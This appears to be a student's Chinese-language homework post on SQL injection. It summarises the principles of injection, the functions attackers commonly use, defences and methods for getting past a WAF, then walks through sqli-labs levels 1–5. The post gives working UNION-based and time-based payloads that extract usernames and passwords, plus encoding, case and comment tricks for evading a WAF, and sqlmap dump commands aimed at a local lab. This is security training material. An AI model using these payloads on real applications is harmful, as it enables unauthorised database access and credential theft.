提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
任务一总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法
SQL注入是一种常见的网络攻击手段,它利用的是Web应用程序对用户输入数据的合法性没有进行足够的判断或过滤,导致攻击者可以在应用程序中注入恶意的SQL语句,从而实现对数据库的非授权访问和操作。这种攻击方式利用了应用程序与数据库交互时的安全漏洞,通过修改、添加或删除原有的SQL语句结构,达到执行未授权的SQL命令或访问敏感数据的目的。
SQL注入原理:
攻击者通过在用户输入的字符串中加入恶意的SQL语句,如果应用程序的设计不良,这些注入的SQL语句就会被数据库服务器误认为是正常的SQL语句而运行,从而攻击者可以执行计划外的命令或访问未被授权的数据。
SQL注入攻击的基本原理包括恶意拼接查询、利用注释执行非法命令、忽略引号处理等手段。
SQL注入常用函数及含义:
CONCAT():拼接字符串,直接拼接,字符之间没有符号。
GROUP_CONCAT():将多个列的值以逗号分隔的方式连接成一个字符串。
ASCII():返回字符串最左字符的ASCII值。
SLEEP():使数据库暂停执行指定的时间(秒),常用于盲注攻击中测试响应时间。
IF():根据条件执行不同的SQL语句,常用于条件判断。
这些函数在SQL注入攻击中常被用来辅助攻击者执行非法操作或获取数据库信息。
SQL注入防御手段:
使用参数化查询:通过设置相应的参数来传递变量,避免将变量直接嵌入SQL语句中。
输入验证:对用户输入进行严格的验证和过滤,特别是单引号、双引号、冒号等特殊字符。
使用安全参数:在数据库设计时设置专门的SQL安全参数,以增强系统的安全性。
定期扫描和检测:使用专业工具进行安全扫描和检测,及时发现并修复安全漏洞。
SQL注入常用绕过WAF的方法:
利用WAF的规则和配置错误,通过修改请求参数或使用特定的编码方式绕过检测。
使用代理或中间人攻击技术,修改请求数据包以避免WAF的检测。
利用WAF对某些特定行为的误判,如大文件上传、长时间等待等,来绕过检测。
原理
SQL 注入攻击利用了 Web 应用程序在处理用户输入时没有正确地清洗和转义输入数据,从而使攻击者能够将恶意的 SQL 代码插入到正常的 SQL 查询中。
常用的 SQL 注入函数及其含义:
version():获取数据库版本。 SELECT version(); # 返回数据库的版本信息。database():获取当前使用的数据库名称。 SELECT database(); # 返回当前数据库名。user():获取当前数据库用户的信息。 SELECT user(); # 返回当前数据库用户。group_concat():将一组字符串连接成一个字符串,常用于结合 information_schema 表获取数据库结构信息。
#
SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users';
concat():连接多个字符串,通常用于在一个结果集中返回多个值。
SELECT concat(username, ':', password) FROM users;
information_schema:系统数据库,包含所有数据库的信息,如表(tables)、列(columns)等。
SELECT table_name FROM information_schema.tables WHERE table_schema='dbname';
if() / case when:条件语句,用于构造布尔盲注。
SELECT IF(1=1, 'true', 'false');
sleep():用于时间盲注,使查询延迟指定时间,以判断条件是否成立。
SELECT IF(1=1, sleep(5), 'false');
# 延迟 5 秒后返回结果。
hex() / unhex():用于编码和解码数据,绕过 WAF 过滤。
SELECT unhex(hex('abc'));
# 返回 abc。
SQL 注入防御手段
使用参数化查询(Prepared Statements):
参数化查询能够将 SQL 代码与数据分离,避免 SQL 代码被用户输入改变。例如,使用 ? 作为占位符,使输入始终被视为数据而不是代码。
适用于所有主流编程语言和数据库系统。
使用存储过程(Stored Procedures):
存储过程是预编译的代码,通常不允许用户直接修改查询结构。
通过限定数据库操作,减少 SQL 注入风险。
输入验证与过滤:
使用白名单策略,严格限制用户输入的类型、长度和格式。
移除或转义 SQL 语句中的特殊字符(如单引号 ',双引号 ",分号 ; 等)。
输出编码:
防止反射型注入攻击,确保输出数据时对特殊字符进行适当编码(如 HTML 编码)。
限制数据库权限:
遵循最小权限原则,为应用程序用户授予最低权限,避免使用 root 或 admin 用户运行数据库查询。
使用 Web 应用防火墙(WAF):
部署 WAF 以检测和阻止已知的 SQL 注入攻击模式。
SQL 注入绕过 WAF 的常用方法
攻击者可以使用各种技巧来绕过 Web 应用防火墙(WAF)的检测。以下是常见的绕过方法:
使用不同编码:
使用 URL 编码(如 %27 代表单引号 '),或 Unicode 编码来绕过关键字过滤。
示例1: ' OR 1=1---->27%20%4F%52%201%3D%31%20%2D%2D
SELECT * FROM users WHERE username = 0x61646D696E;# (使用十六进制编码)。
空格替代和注释:
使用 SQL 注释符(如 /**/)或其他空白字符(如换行符)代替空格,绕过简单的 WAF 规则。
SELECT/**/username/**/FROM/**/users;
大小写变换:
大多数 SQL 关键字不区分大小写,可以通过变换大小写来绕过 WAF 的静态规则。
SeLeCT * FrOm users;
逻辑运算符混淆:
使用逻辑表达式(如 OR 1=1)或冗余条件(如 AND 'a'='a')混淆查询语句。
SELECT * FROM users WHERE username = 'admin' OR '1'='1';
布尔盲注和时间盲注:
使用布尔盲注或时间盲注来检测 WAF 是否基于响应内容进行过滤。
SELECT IF(1=1, sleep(5), 0); # 使用时间延迟来判断过滤规则。
使用聚合函数和子查询:
使用 GROUP_CONCAT()、UNION SELECT 和子查询来尝试组合攻击,绕过基于模式的检测。
UNION SELECT 1, (SELECT GROUP_CONCAT(username) FROM users), 3;
使用双写绕过(Double Encoding Bypass):
将某些字符进行两次编码,以躲避 WAF 的单层解码规则。
示例:%2527(双重 URL 编码)代表单引号 '。
任务二sqli-labs通关前5关,并写出解题步骤,必须手工过关,禁止使用sqlmap
在初始化sqli-labs中发现初始化失败了
因为php7版本以上抛弃了mysql_系列函数,转用mysqli系列函数,所以用php7版本以上安装的时候就会报错,我们需要为php降个级
成功初始化sqli-labs
Less-1
判断是否存在sql注入
/?id=0
/?id=1
/?id=2
- 加单引号判断闭合,发现为字符型注入
猜测%27应该是单引号的意思
查找了一下确实是
- 接下来我们判断sql语句是否是拼接,且是字符型还是数字型。
--+
第一步:首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
?id=1'order by 3 --+
把3改成4发现溢出了
第二步:爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。
?id=-1'union select 1,2,3--+
第三步:获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据看是security,版本是5.7.26。
?id=-1'union select 1,database(),version()--+
第四步: 爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
第五步:爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。
该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
第六步:通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。我自己加了一个id可以隔一下账户和密码。
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
Less-2
-
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users
Less-3
当我们在输入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号,根据前两关主播构建出代码。
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
获取版本号
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
获取数据库结果
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
Less-4
根据页面报错信息得知sql语句是双引号字符型且有括号,通过以下代码调试,进行sql注入
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
Less-5
1.尝试注入
3.获取数据库列表在sqlmap,使用python sqlmap.py -u "http://127.0.0.1:8789/Less-5/?id=1" -dbms mysql -level 3 -D security -tables,
4.尝试获取users表中有哪些字段
python sqlmap.py -u "http://127.0.0.1:8789/Less-5/?id=1" -dbms mysql -level 3 -D security -T users -columns
获取成功:python sqlmap.py -u "http://127.0.0.1:8789/Less-5/?id=1" -dbms mysql -level 3 -D security -T users -C username,password --dump